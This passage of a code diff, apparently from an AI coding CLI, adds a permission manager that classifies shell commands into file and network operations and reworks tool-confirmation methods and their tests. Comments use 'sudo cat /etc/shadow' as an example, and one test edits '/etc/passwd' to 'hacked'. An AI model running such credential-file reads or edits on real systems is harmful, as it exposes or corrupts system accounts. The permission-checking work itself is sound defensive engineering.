arg.slice(3); + if (looksLikePath(p)) { + ops.push({ virtualTool: 'read_file', filePath: resolvePath(p, cwd) }); + } + } else if (arg.startsWith('of=')) { + const p = arg.slice(3); + if (looksLikePath(p)) { + ops.push({ + virtualTool: 'write_file', + filePath: resolvePath(p, cwd), + }); + } + } + } + return ops; + }, + + ln: (args, cwd) => { + // ln [-s] TARGET LINKNAME — the link being created is a write operation + const positional = getPositionalArgs( + args, + new Set(['-S', '--suffix', '-t', '--target-directory', '-b', '--backup']), + ).filter(looksLikePath); + if (positional.length < 2) return []; + const linkname = positional[positional.length - 1]!; + return [ + { virtualTool: 'write_file', filePath: resolvePath(linkname, cwd) }, + ]; + }, + + // ── File-edit commands (modify or delete existing content) ──────────────── + + rm: (args, cwd) => + getPositionalArgs(args, new Set(['--interactive'])) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'edit' as const, + filePath: resolvePath(p, cwd), + })), + + rmdir: (args, cwd) => + getPositionalArgs( + args, + new Set(['--ignore-fail-on-non-empty', '-p', '--parents']), + ) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'edit' as const, + filePath: resolvePath(p, cwd), + })), + + unlink: (args, cwd) => + getPositionalArgs(args) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'edit' as const, + filePath: resolvePath(p, cwd), + })), + + shred: (args, cwd) => + getPositionalArgs( + args, + new Set(['-n', '--iterations', '-s', '--size', '--random-source']), + ) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'edit' as const, + filePath: resolvePath(p, cwd), + })), + + truncate: (args, cwd) => + getPositionalArgs( + args, + new Set([ + '-s', + '--size', + '-r', + '--reference', + '-o', + '-I', + '-c', + '--io-blocks', + '--no-create', + ]), + ) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'edit' as const, + filePath: resolvePath(p, cwd), + })), + + chmod: (args, cwd) => { + // chmod [opts] MODE file... — the mode is the first positional arg. + // Apply slice(1) BEFORE filter so that numeric modes like '755' (which are + // filtered by looksLikePath) don't cause the file path to be dropped. + const positional = getPositionalArgs( + args, + new Set(['-f', '--reference', '--from']), + ); + return positional + .slice(1) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'edit' as const, + filePath: resolvePath(p, cwd), + })); + }, + + chown: (args, cwd) => { + // chown [opts] OWNER[:GROUP] file... — the owner spec is the first positional. + const positional = getPositionalArgs( + args, + new Set(['--from', '--reference']), + ); + return positional + .slice(1) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'edit' as const, + filePath: resolvePath(p, cwd), + })); + }, + + chgrp: (args, cwd) => { + const positional = getPositionalArgs(args, new Set(['--reference'])); + return positional + .slice(1) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'edit' as const, + filePath: resolvePath(p, cwd), + })); + }, + + rename: (args, cwd) => { + // rename FROM TO file... — skip first two positionals (the from/to patterns) + const positional = getPositionalArgs(args).filter(looksLikePath); + return positional.slice(2).map((p) => ({ + virtualTool: 'edit' as const, + filePath: resolvePath(p, cwd), + })); + }, + + sed: (args, cwd) => { + // sed [-i] SCRIPT file... or sed -e SCRIPT file... + // With -i: in-place edit (virtualTool = 'edit'); otherwise read (virtualTool = 'read_file') + const hasInPlace = args.some((a) => a === '-i' || a.startsWith('-i')); + const hasExplicitScript = args.some( + (a) => a === '-e' || a === '-f' || a.startsWith('-e'), + ); + const flagsWithValue = new Set([ + '-e', + '-f', + '--expression', + '--file', + // NOTE: -i is intentionally absent — it is an optional-suffix flag + // (e.g. `-i`, `-i.bak`) and does NOT consume the next token as a value. + '-l', + '--line-length', + '--sandbox', + '-s', + '--separate', + ]); + const positional = getPositionalArgs(args, flagsWithValue).filter( + looksLikePath, + ); + // If -e/-f was used, all positionals are file paths. + // Otherwise, the first positional is the script expression. + const filePaths = hasExplicitScript ? positional : positional.slice(1); + const tool: 'edit' | 'read_file' = hasInPlace ? 'edit' : 'read_file'; + return filePaths.map((p) => ({ + virtualTool: tool, + filePath: resolvePath(p, cwd), + })); + }, + + awk: (args, cwd) => { + // awk [-F sep] [-v var=val] PROGRAM file... + // The PROGRAM is the first positional — it will contain `{...}` which is + // filtered out by looksLikePath, so we don't need special handling. + const flagsWithValue = new Set([ + '-F', + '-f', + '-v', + '-m', + '-W', + '-M', + '--source', + '--include', + '--load', + '-b', + '--characters-as-bytes', + '-c', + '--traditional', + '-d', + '-D', + '--debug', + '-e', + '--exec', + '-h', + '--help', + '-i', + '--lint', + '-o', + '-p', + '-r', + '-s', + '-S', + '-t', + '-V', + ]); + return getPositionalArgs(args, flagsWithValue) + .filter(looksLikePath) + .map((p) => ({ + virtualTool: 'read_file' as const, + filePath: resolvePath(p, cwd), + })); + }, + + // ── WebFetch commands ───────────────────────────────────────────────────── + + curl: (args) => { + const flagsWithValue = new Set([ + '-o', + '-O', + '--output', + '-u', + '--user', + '-A', + '--user-agent', + '-H', + '--header', + '-d', + '--data', + '--data-binary', + '--data-raw', + '--data-urlencode', + '-X', + '--request', + '-F', + '--form', + '-e', + '--referer', + '-T', + '--upload-file', + '--cacert', + '--capath', + '--cert', + '--key', + '--pass', + '-m', + '--max-time', + '--connect-timeout', + '-r', + '--range', + '--limit-rate', + '-b', + '--cookie', + '-c', + '--cookie-jar', + '--proxy', + '-U', + '--proxy-user', + '-K', + '--config', + '--netrc-file', + '--resolve', + '--connect-to', + '-w', + '--write-out', + '-x', + '-Y', + '--speed-limit', + '--speed-time', + '-y', + '--max-filesize', + '--proto', + '--proto-redir', + '-E', + '--cert-type', + '--key-type', + ]); + return getPositionalArgs(args, flagsWithValue) + .filter( + (p) => + p.includes('://') || /^https?:\/\//.test(p) || /^ftp:\/\//.test(p), + ) + .flatMap((url) => { + const op = webOp(url); + return op ? [op] : []; + }); + }, + + wget: (args) => { + const flagsWithValue = new Set([ + '-O', + '--output-document', + '-P', + '--directory-prefix', + '-o', + '--output-file', + '-a', + '--append-output', + '-U', + '--user-agent', + '--header', + '-e', + '--execute', + '--tries', + '-t', + '-T', + '--timeout', + '--wait', + '-w', + '--quota', + '-Q', + '--bind-address', + '--limit-rate', + '--user', + '--password', + '--proxy-user', + '--proxy-password', + '-i', + '--input-file', + '--base', + '--config', + '--referer', + '-D', + '--domains', + '--exclude-domains', + '-I', + '--include-directories', + '-X', + '--exclude-directories', + '--regex-type', + '-A', + '-R', + '--accept', + '--reject', + '--no-check-certificate', + '--ca-certificate', + '--ca-directory', + '--certificate', + '--private-key', + ]); + return getPositionalArgs(args, flagsWithValue) + .filter((p) => p.includes('://') || /^https?:\/\//.test(p)) + .flatMap((url) => { + const op = webOp(url); + return op ? [op] : []; + }); + }, + + fetch: (args) => { + // BSD `fetch` utility + const flagsWithValue = new Set([ + '-o', + '-q', + '-v', + '-a', + '-T', + '-S', + '--no-verify-peer', + '--no-verify-hostname', + '--ca-cert', + ]); + return getPositionalArgs(args, flagsWithValue) + .filter((p) => p.includes('://')) + .flatMap((url) => { + const op = webOp(url); + return op ? [op] : []; + }); + }, +}; + +// ───────────────────────────────────────────────────────────────────────────── +// Transparent prefix commands +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Flags that consume the next argument as their value, for specific prefix + * commands. Used by the prefix-stripping logic to correctly skip flag values + * (e.g. `-u root` in `sudo -u root cat /etc/shadow`). + */ +const PREFIX_COMMAND_FLAGS_WITH_VALUE = new Map>([ + [ + 'sudo', + new Set([ + '-u', + '--user', + '-g', + '--group', + '-C', + '--close-from', + '-c', + '--login-class', + '-D', + '--chdir', + '-p', + '--prompt', + '-r', + '--role', + '-t', + '--type', + '-T', + '--command-timeout', + '-U', + '--other-user', + ]), + ], + ['timeout', new Set(['-s', '--signal', '-k', '--kill-after'])], +]); + +/** + * Commands that act as transparent wrappers around the actual command. + * When encountered, the prefix is stripped and the analysis recurses on + * the remaining command string. + * + * Examples: + * `sudo cat /etc/shadow` → analyse `cat /etc/shadow` + * `timeout 10 wget http://…` → analyse `wget http://…` + */ +const PREFIX_COMMANDS = new Set([ + 'sudo', + 'doas', // OpenBSD sudo alternative + 'env', + 'time', + 'nice', + 'ionice', + 'nohup', + 'timeout', + 'unbuffer', + 'stdbuf', +]); + +// ───────────────────────────────────────────────────────────────────────────── +// Main entry point +// ───────────────────────────────────────────────────────────────────────────── + +/** + * Extract virtual file/network operations from a single simple shell command. + * + * This function expects a **single simple command** (no `&&`, `||`, `;`, `|` + * operators). Use `splitCompoundCommand()` before calling this for compound + * commands. + * + * Returns an empty array for: + * - Commands not in the known command table (safe default) + * - Empty or whitespace-only input + * - Pure environment variable assignments (`FOO=bar`) + * + * @param simpleCommand - A single shell command without compound operators. + * @param cwd - Working directory for resolving relative paths. + */ +export function extractShellOperations( + simpleCommand: string, + cwd: string, +): ShellOperation[] { + if (!simpleCommand.trim()) return []; + + const tokens = tokenize(simpleCommand); + if (tokens.length === 0) return []; + + // Extract I/O redirections before dispatching to the command handler. + // This mutates `tokens` in-place by removing redirect tokens. + const { readFiles: redirectReads, writeFiles: redirectWrites } = + extractRedirects(tokens, cwd); + + const cmdName = tokens[0]; + if (!cmdName) { + // Only redirections were present (e.g. `> file` or `< file`) + return [ + ...redirectReads.map((p) => ({ + virtualTool: 'read_file' as const, + filePath: p, + })), + ...redirectWrites.map((p) => ({ + virtualTool: 'write_file' as const, + filePath: p, + })), + ]; + } + + // Skip pure environment variable assignments: `FOO=bar`, `FOO=bar BAR=baz` + if (cmdName.includes('=')) return []; + + const ops: ShellOperation[] = []; + + // ── Transparent prefix commands ─────────────────────────────────────────── + if (PREFIX_COMMANDS.has(cmdName)) { + const flagsWithVal = PREFIX_COMMAND_FLAGS_WITH_VALUE.get(cmdName); + // Find where the actual command starts (after flags, flag-values, and env + // variable assignments). For example: + // sudo -u root cat /file → startIdx skips '-u' AND 'root' + let startIdx = 1; + while (startIdx < tokens.length) { + const t = tokens[startIdx]!; + if (t.startsWith('-')) { + // Skip the flag itself + startIdx++; + // If this flag takes a separate value argument, skip that too + if ( + flagsWithVal?.has(t) && + startIdx < tokens.length && + !tokens[startIdx]!.startsWith('-') + ) { + startIdx++; + } + } else if (t.includes('=')) { + // Environment variable assignment: skip + startIdx++; + } else { + break; + } + } + // `timeout DURATION command` — the duration is a numeric positional that + // precedes the actual command. Skip it. + if ( + cmdName === 'timeout' && + startIdx < tokens.length && + /^\d/.test(tokens[startIdx]!) + ) { + startIdx++; + } + if (startIdx < tokens.length) { + // Reconstruct the inner command and recurse + const innerCommand = tokens.slice(startIdx).join(' '); + ops.push(...extractShellOperations(innerCommand, cwd)); + } + } else { + // ── Dispatch to the known-command handler ───────────────────────────── + const handler = COMMANDS[cmdName]; + if (handler) { + const args = tokens.slice(1); + ops.push(...handler(args, cwd)); + } + // Unknown commands: return no ops (safe — we don't guess what we don't know) + } + + // Append redirect-derived operations + ops.push( + ...redirectReads.map((p) => ({ + virtualTool: 'read_file' as const, + filePath: p, + })), + ...redirectWrites.map((p) => ({ + virtualTool: 'write_file' as const, + filePath: p, + })), + ); + + return ops; +} diff --git a/packages/core/src/permissions/types.ts b/packages/core/src/permissions/types.ts new file mode 100644 index 000000000000..01d919cba04b --- /dev/null +++ b/packages/core/src/permissions/types.ts @@ -0,0 +1,109 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +/** + * The result of a permission evaluation for a tool or command. + * - 'allow': Auto-approved, no confirmation needed. + * - 'ask': Requires user confirmation before proceeding. + * - 'deny': Blocked; will not run. + * - 'default': No explicit rule matched; falls back to the global approval mode. + */ +export type PermissionDecision = 'allow' | 'ask' | 'deny' | 'default'; + +/** The type of a permission rule. */ +export type RuleType = 'allow' | 'ask' | 'deny'; + +/** The scope/source of a permission rule. */ +export type RuleScope = 'system' | 'user' | 'workspace' | 'session'; + +/** + * The kind of specifier a rule uses, determines which matching algorithm + * to apply. + * + * - 'command': Shell command glob matching (for Bash / run_shell_command) + * - 'path': File path gitignore-style matching (for Read / Edit / Write tools) + * - 'domain': Domain matching with `domain:` prefix (for WebFetch) + * - 'literal': Simple literal equality (fallback for unknown tool types) + */ +export type SpecifierKind = 'command' | 'path' | 'domain' | 'literal'; + +/** + * A parsed permission rule. + * Rules have the form "ToolName" or "ToolName(specifier)". + * + * Examples: + * "Bash" → all shell commands + * "Bash(git *)" → shell commands matching glob + * "Read(./secrets/**)" → file reads matching path pattern + * "Edit(/src/**\/*.ts)" → file edits matching path pattern + * "WebFetch(domain:x.com)" → web fetch matching domain + * "mcp__server__tool" → specific MCP tool + */ +export interface PermissionRule { + /** The original raw rule string as written in config. */ + raw: string; + /** The canonical tool name or category (e.g. "run_shell_command", "Read", "Edit"). */ + toolName: string; + /** + * Optional specifier for fine-grained matching. + * For shell tools: a command pattern (e.g. "git *"). + * For file tools: a path pattern (e.g. "./secrets/**"). + * For WebFetch: a domain pattern (e.g. "domain:example.com"). + */ + specifier?: string; + /** + * The kind of specifier, determines matching algorithm. + * Set automatically during parsing based on the tool name/category. + */ + specifierKind?: SpecifierKind; +} + +/** A complete set of permission rules organized by type. */ +export interface PermissionRuleSet { + allow: PermissionRule[]; + ask: PermissionRule[]; + deny: PermissionRule[]; +} + +/** + * Context for a permission evaluation. + * + * Different fields are relevant depending on the tool type: + * - Shell tools: provide `command` + * - File tools: provide `filePath` + * - WebFetch: provide `domain` + * - Other tools: only `toolName` is needed + */ +export interface PermissionCheckContext { + /** The canonical tool name being checked. */ + toolName: string; + /** + * The shell command being executed (only for Bash / run_shell_command). + */ + command?: string; + /** + * The file path being accessed (only for Read / Edit / Write tools). + * Should be an absolute path for matching against path patterns. + */ + filePath?: string; + /** + * The domain being fetched (only for WebFetch). + */ + domain?: string; + /** + * A generic specifier for literal matching (e.g. skill name for Skill, + * subagent type for Task/Agent). Used when the rule has a literal + * specifier that doesn't fall into command/path/domain categories. + */ + specifier?: string; +} + +/** A rule with its type and source scope, used for listing rules. */ +export interface RuleWithSource { + rule: PermissionRule; + type: RuleType; + scope: RuleScope; +} diff --git a/packages/core/src/telemetry/tool-call-decision.ts b/packages/core/src/telemetry/tool-call-decision.ts index 167df10a3908..b22a73c40ddf 100644 --- a/packages/core/src/telemetry/tool-call-decision.ts +++ b/packages/core/src/telemetry/tool-call-decision.ts @@ -22,6 +22,8 @@ export function getDecisionFromOutcome( case ToolConfirmationOutcome.ProceedAlways: case ToolConfirmationOutcome.ProceedAlwaysServer: case ToolConfirmationOutcome.ProceedAlwaysTool: + case ToolConfirmationOutcome.ProceedAlwaysProject: + case ToolConfirmationOutcome.ProceedAlwaysUser: return ToolCallDecision.AUTO_ACCEPT; case ToolConfirmationOutcome.ModifyWithEditor: return ToolCallDecision.MODIFY; diff --git a/packages/core/src/telemetry/types.ts b/packages/core/src/telemetry/types.ts index 39b6c5c48ad3..4f0afea42ae3 100644 --- a/packages/core/src/telemetry/types.ts +++ b/packages/core/src/telemetry/types.ts @@ -63,10 +63,11 @@ export class StartSessionEvent implements BaseTelemetryEvent { this.model = config.getModel(); this.sandbox_enabled = typeof config.getSandbox() === 'string' || !!config.getSandbox(); - const coreTools = (config.getCoreTools() ?? []).join(','); - if (coreTools) { - this.core_tools_enabled = coreTools; - } + this.core_tools_enabled = ( + config.getPermissionManager?.()?.getAllowRawStrings() ?? + config.getCoreTools() ?? + [] + ).join(','); this.approval_mode = config.getApprovalMode(); this.debug_enabled = config.getDebugMode(); this.truncate_tool_output_threshold = diff --git a/packages/core/src/test-utils/mock-tool.ts b/packages/core/src/test-utils/mock-tool.ts index 75bdf26c5e55..0e3cf293dc7e 100644 --- a/packages/core/src/test-utils/mock-tool.ts +++ b/packages/core/src/test-utils/mock-tool.ts @@ -13,6 +13,7 @@ import type { ToolInvocation, ToolResult, } from '../tools/tools.js'; +import type { PermissionDecision } from '../permissions/types.js'; import { BaseDeclarativeTool, BaseToolInvocation, @@ -25,10 +26,10 @@ interface MockToolOptions { description?: string; canUpdateOutput?: boolean; isOutputMarkdown?: boolean; - shouldConfirmExecute?: ( - params: { [key: string]: unknown }, + getDefaultPermission?: () => Promise; + getConfirmationDetails?: ( signal: AbortSignal, - ) => Promise; + ) => Promise; execute?: ( params: { [key: string]: unknown }, signal?: AbortSignal, @@ -59,10 +60,14 @@ class MockToolInvocation extends BaseToolInvocation< } } - override shouldConfirmExecute( + override getDefaultPermission(): Promise { + return this.tool.getDefaultPermission(); + } + + override getConfirmationDetails( abortSignal: AbortSignal, - ): Promise { - return this.tool.shouldConfirmExecute(this.params, abortSignal); + ): Promise { + return this.tool.getConfirmationDetails(abortSignal); } getDescription(): string { @@ -77,10 +82,10 @@ export class MockTool extends BaseDeclarativeTool< { [key: string]: unknown }, ToolResult > { - shouldConfirmExecute: ( - params: { [key: string]: unknown }, + getDefaultPermission: () => Promise; + getConfirmationDetails: ( signal: AbortSignal, - ) => Promise; + ) => Promise; execute: ( params: { [key: string]: unknown }, signal?: AbortSignal, @@ -98,10 +103,22 @@ export class MockTool extends BaseDeclarativeTool< options.canUpdateOutput ?? false, ); - if (options.shouldConfirmExecute) { - this.shouldConfirmExecute = options.shouldConfirmExecute; + if (options.getDefaultPermission) { + this.getDefaultPermission = options.getDefaultPermission; } else { - this.shouldConfirmExecute = () => Promise.resolve(false); + this.getDefaultPermission = () => + Promise.resolve('allow' as PermissionDecision); + } + + if (options.getConfirmationDetails) { + this.getConfirmationDetails = options.getConfirmationDetails; + } else { + this.getConfirmationDetails = () => { + throw new Error( + `${this.name} returned 'ask' from getDefaultPermission() ` + + `but does not implement getConfirmationDetails().`, + ); + }; } if (options.execute) { @@ -122,7 +139,10 @@ export class MockTool extends BaseDeclarativeTool< } } -export const MOCK_TOOL_SHOULD_CONFIRM_EXECUTE = () => +export const MOCK_TOOL_GET_DEFAULT_PERMISSION = () => + Promise.resolve('ask' as PermissionDecision); + +export const MOCK_TOOL_GET_CONFIRMATION_DETAILS = () => Promise.resolve({ type: 'exec' as const, title: 'Confirm mockTool', @@ -152,22 +172,23 @@ export class MockModifiableToolInvocation extends BaseToolInvocation< ); } - override async shouldConfirmExecute( + override async getDefaultPermission(): Promise { + return this.tool.shouldConfirm ? 'ask' : 'allow'; + } + + override async getConfirmationDetails( _abortSignal: AbortSignal, - ): Promise { - if (this.tool.shouldConfirm) { - return { - type: 'edit', - title: 'Confirm Mock Tool', - fileName: 'test.txt', - filePath: 'test.txt', - fileDiff: 'diff', - originalContent: 'originalContent', - newContent: 'newContent', - onConfirm: async () => {}, - }; - } - return false; + ): Promise { + return { + type: 'edit', + title: 'Confirm Mock Tool', + fileName: 'test.txt', + filePath: 'test.txt', + fileDiff: 'diff', + originalContent: 'originalContent', + newContent: 'newContent', + onConfirm: async () => {}, + }; } getDescription(): string { diff --git a/packages/core/src/tools/askUserQuestion.test.ts b/packages/core/src/tools/askUserQuestion.test.ts index f9aabc2d982e..9e8f3666306c 100644 --- a/packages/core/src/tools/askUserQuestion.test.ts +++ b/packages/core/src/tools/askUserQuestion.test.ts @@ -100,8 +100,8 @@ describe('AskUserQuestionTool', () => { }); }); - describe('shouldConfirmExecute', () => { - it('should return confirmation details in interactive mode', async () => { + describe('getDefaultPermission and getConfirmationDetails', () => { + it('should return ask permission and confirmation details in interactive mode', async () => { const params = { questions: [ { @@ -117,19 +117,20 @@ describe('AskUserQuestionTool', () => { }; const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute( + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('ask'); + + const confirmation = await invocation.getConfirmationDetails( new AbortController().signal, ); - - expect(confirmation).not.toBe(false); - if (confirmation && confirmation.type === 'ask_user_question') { - expect(confirmation.type).toBe('ask_user_question'); + expect(confirmation.type).toBe('ask_user_question'); + if (confirmation.type === 'ask_user_question') { expect(confirmation.questions).toEqual(params.questions); expect(confirmation.onConfirm).toBeDefined(); } }); - it('should return false in non-interactive mode', async () => { + it('should return allow permission in non-interactive mode', async () => { (mockConfig.isInteractive as Mock).mockReturnValue(false); const params = { @@ -147,11 +148,8 @@ describe('AskUserQuestionTool', () => { }; const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute( - new AbortController().signal, - ); - - expect(confirmation).toBe(false); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('allow'); }); }); @@ -196,14 +194,12 @@ describe('AskUserQuestionTool', () => { }; const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute( + const confirmation = await invocation.getConfirmationDetails( new AbortController().signal, ); - if (confirmation !== false) { - // Simulate user cancellation - await confirmation.onConfirm(ToolConfirmationOutcome.Cancel); - } + // Simulate user cancellation + await confirmation.onConfirm(ToolConfirmationOutcome.Cancel); const result = await invocation.execute(new AbortController().signal); expect(result.llmContent).toContain('declined to answer'); @@ -234,19 +230,17 @@ describe('AskUserQuestionTool', () => { }; const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute( + const confirmation = await invocation.getConfirmationDetails( new AbortController().signal, ); - if (confirmation !== false) { - // Simulate user providing answers - await confirmation.onConfirm(ToolConfirmationOutcome.ProceedOnce, { - answers: { - '0': 'React', - '1': 'TypeScript', - }, - }); - } + // Simulate user providing answers + await confirmation.onConfirm(ToolConfirmationOutcome.ProceedOnce, { + answers: { + '0': 'React', + '1': 'TypeScript', + }, + }); const result = await invocation.execute(new AbortController().signal); diff --git a/packages/core/src/tools/askUserQuestion.ts b/packages/core/src/tools/askUserQuestion.ts index e1c6af26e9cc..d33eb0fb73ce 100644 --- a/packages/core/src/tools/askUserQuestion.ts +++ b/packages/core/src/tools/askUserQuestion.ts @@ -9,6 +9,7 @@ import type { ToolConfirmationPayload, ToolResult, } from './tools.js'; +import type { PermissionDecision } from '../permissions/types.js'; import { BaseDeclarativeTool, BaseToolInvocation, @@ -154,20 +155,26 @@ class AskUserQuestionToolInvocation extends BaseToolInvocation< return `Ask user ${questionCount} question${questionCount > 1 ? 's' : ''}`; } - override async shouldConfirmExecute( - _abortSignal: AbortSignal, - ): Promise { - // Check if we're in a mode that supports user interaction - // ACP mode (VSCode extension, etc.) uses non-interactive mode but can still collect user input + /** + * ask_user_question always requires user confirmation so the user can + * provide answers. In non-interactive mode without ACP support, we skip + * confirmation (and subsequently skip execution). + */ + override async getDefaultPermission(): Promise { const isAcpMode = this._config.getExperimentalZedIntegration() || this._config.getInputFormat() === InputFormat.STREAM_JSON; if (!this._config.isInteractive() && !isAcpMode) { - // In non-interactive mode without ACP support, we cannot collect user input - return false; + // Non-interactive + no ACP: skip entirely + return 'allow'; } + return 'ask'; + } + override async getConfirmationDetails( + _abortSignal: AbortSignal, + ): Promise { const details: ToolAskUserQuestionConfirmationDetails = { type: 'ask_user_question', title: 'Please answer the following question(s):', diff --git a/packages/core/src/tools/edit.test.ts b/packages/core/src/tools/edit.test.ts index 21ee04244bac..c67520385624 100644 --- a/packages/core/src/tools/edit.test.ts +++ b/packages/core/src/tools/edit.test.ts @@ -230,20 +230,18 @@ describe('EditTool', () => { ); }); - it('should return error for path outside root', () => { + it('should allow path outside root (external path support)', () => { const params: EditToolParams = { file_path: path.join(tempDir, 'outside-root.txt'), old_string: 'old', new_string: 'new', }; const error = tool.validateToolParams(params); - expect(error).toContain( - 'File path must be within one of the workspace directories', - ); + expect(error).toBeNull(); }); }); - describe('shouldConfirmExecute', () => { + describe('getConfirmationDetails', () => { const testFile = 'edit_me.txt'; let filePath: string; @@ -268,7 +266,7 @@ describe('EditTool', () => { new_string: 'new', }; const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute( + const confirmation = await invocation.getConfirmationDetails( new AbortController().signal, ); expect(confirmation).toEqual( @@ -280,39 +278,7 @@ describe('EditTool', () => { ); }); - it('should return false and skip confirmation when approval mode is AUTO_EDIT', async () => { - fs.writeFileSync(filePath, 'some old content here'); - (mockConfig.getApprovalMode as Mock).mockReturnValue( - ApprovalMode.AUTO_EDIT, - ); - const params: EditToolParams = { - file_path: filePath, - old_string: 'old', - new_string: 'new', - }; - const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute( - new AbortController().signal, - ); - expect(confirmation).toBe(false); - }); - - it('should return false and skip confirmation when approval mode is YOLO', async () => { - fs.writeFileSync(filePath, 'some old content here'); - (mockConfig.getApprovalMode as Mock).mockReturnValue(ApprovalMode.YOLO); - const params: EditToolParams = { - file_path: filePath, - old_string: 'old', - new_string: 'new', - }; - const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute( - new AbortController().signal, - ); - expect(confirmation).toBe(false); - }); - - it('should return false if old_string is not found', async () => { + it('should throw if old_string is not found', async () => { fs.writeFileSync(filePath, 'some content here'); const params: EditToolParams = { file_path: filePath, @@ -320,13 +286,12 @@ describe('EditTool', () => { new_string: 'new', }; const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute( - new AbortController().signal, - ); - expect(confirmation).toBe(false); + await expect( + invocation.getConfirmationDetails(new AbortController().signal), + ).rejects.toThrow(); }); - it('should return false if multiple occurrences of old_string are found', async () => { + it('should throw if multiple occurrences of old_string are found', async () => { fs.writeFileSync(filePath, 'old old content here'); const params: EditToolParams = { file_path: filePath, @@ -334,10 +299,9 @@ describe('EditTool', () => { new_string: 'new', }; const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute( - new AbortController().signal, - ); - expect(confirmation).toBe(false); + await expect( + invocation.getConfirmationDetails(new AbortController().signal), + ).rejects.toThrow(); }); it('should request confirmation for creating a new file (empty old_string)', async () => { @@ -349,7 +313,7 @@ describe('EditTool', () => { new_string: 'new file content', }; const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute( + const confirmation = await invocation.getConfirmationDetails( new AbortController().signal, ); expect(confirmation).toEqual( @@ -383,7 +347,7 @@ describe('EditTool', () => { }); await expect( - invocation.shouldConfirmExecute(abortController.signal), + invocation.getConfirmationDetails(abortController.signal), ).rejects.toBe(abortError); calculateSpy.mockRestore(); @@ -903,17 +867,14 @@ describe('EditTool', () => { expect(tool.validateToolParams(validPath)).toBeNull(); }); - it('should reject paths outside workspace root', () => { - const invalidPath = { + it('should allow paths outside workspace root (external path support)', () => { + const externalPath = { file_path: '/etc/passwd', old_string: 'root', new_string: 'hacked', }; - const error = tool.validateToolParams(invalidPath); - expect(error).toContain( - 'File path must be within one of the workspace directories', - ); - expect(error).toContain(rootDir); + const error = tool.validateToolParams(externalPath); + expect(error).toBeNull(); }); }); @@ -948,7 +909,7 @@ describe('EditTool', () => { }); const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute( + const confirmation = await invocation.getConfirmationDetails( new AbortController().signal, ); diff --git a/packages/core/src/tools/edit.ts b/packages/core/src/tools/edit.ts index ae4c9480bacc..e5b1480b93d8 100644 --- a/packages/core/src/tools/edit.ts +++ b/packages/core/src/tools/edit.ts @@ -14,6 +14,7 @@ import type { ToolLocation, ToolResult, } from './tools.js'; +import type { PermissionDecision } from '../permissions/types.js'; import { BaseDeclarativeTool, Kind, ToolConfirmationOutcome } from './tools.js'; import { ToolErrorType } from './tool-error.js'; import { makeRelative, shortenPath } from '../utils/paths.js'; @@ -38,7 +39,6 @@ import type { } from './modifiable-tool.js'; import { IdeClient } from '../ide/ide-client.js'; import { safeLiteralReplace } from '../utils/textUtils.js'; -import { createDebugLogger } from '../utils/debugLogger.js'; import { countOccurrences, extractEditSnippet, @@ -46,8 +46,6 @@ import { normalizeEditStrings, } from '../utils/editHelper.js'; -const debugLogger = createDebugLogger('EDIT'); - export function applyReplacement( currentContent: string | null, oldString: string, @@ -263,17 +261,18 @@ class EditToolInvocation implements ToolInvocation { } /** - * Handles the confirmation prompt for the Edit tool in the CLI. - * It needs to calculate the diff to show the user. + * Edit operations always need user confirmation (unless overridden by PM or ApprovalMode). */ - async shouldConfirmExecute( - abortSignal: AbortSignal, - ): Promise { - const mode = this.config.getApprovalMode(); - if (mode === ApprovalMode.AUTO_EDIT || mode === ApprovalMode.YOLO) { - return false; - } + async getDefaultPermission(): Promise { + return 'ask'; + } + /** + * Constructs the edit diff confirmation details. + */ + async getConfirmationDetails( + abortSignal: AbortSignal, + ): Promise { let editData: CalculatedEdit; try { editData = await this.calculateEdit(this.params); @@ -282,13 +281,11 @@ class EditToolInvocation implements ToolInvocation { throw error; } const errorMsg = error instanceof Error ? error.message : String(error); - debugLogger.warn(`Error preparing edit: ${errorMsg}`); - return false; + throw new Error(`Error preparing edit: ${errorMsg}`); } if (editData.error) { - debugLogger.warn(`Error: ${editData.error.display}`); - return false; + throw new Error(`Edit error: ${editData.error.display}`); } const fileName = path.basename(this.params.file_path); @@ -322,8 +319,6 @@ class EditToolInvocation implements ToolInvocation { if (ideConfirmation) { const result = await ideConfirmation; if (result.status === 'accepted' && result.content) { - // TODO(chrstn): See https://github.com/google-gemini/gemini-cli/pull/5618#discussion_r2255413084 - // for info on a possible race condition where the file is modified on disk while being edited. this.params.old_string = editData.currentContent ?? ''; this.params.new_string = result.content; } @@ -583,12 +578,6 @@ Expectation for required parameters: return `File path must be absolute: ${params.file_path}`; } - const workspaceContext = this.config.getWorkspaceContext(); - if (!workspaceContext.isPathWithinWorkspace(params.file_path)) { - const directories = workspaceContext.getDirectories(); - return `File path must be within one of the workspace directories: ${directories.join(', ')}`; - } - return null; } diff --git a/packages/core/src/tools/exitPlanMode.test.ts b/packages/core/src/tools/exitPlanMode.test.ts index 8f5e416343e0..51de9dda5c9c 100644 --- a/packages/core/src/tools/exitPlanMode.test.ts +++ b/packages/core/src/tools/exitPlanMode.test.ts @@ -119,7 +119,9 @@ describe('ExitPlanModeTool', () => { expect(invocation).toBeDefined(); expect(invocation.params).toEqual(params); - const confirmation = await invocation.shouldConfirmExecute(signal); + expect(await invocation.getDefaultPermission()).toBe('ask'); + + const confirmation = await invocation.getConfirmationDetails(signal); 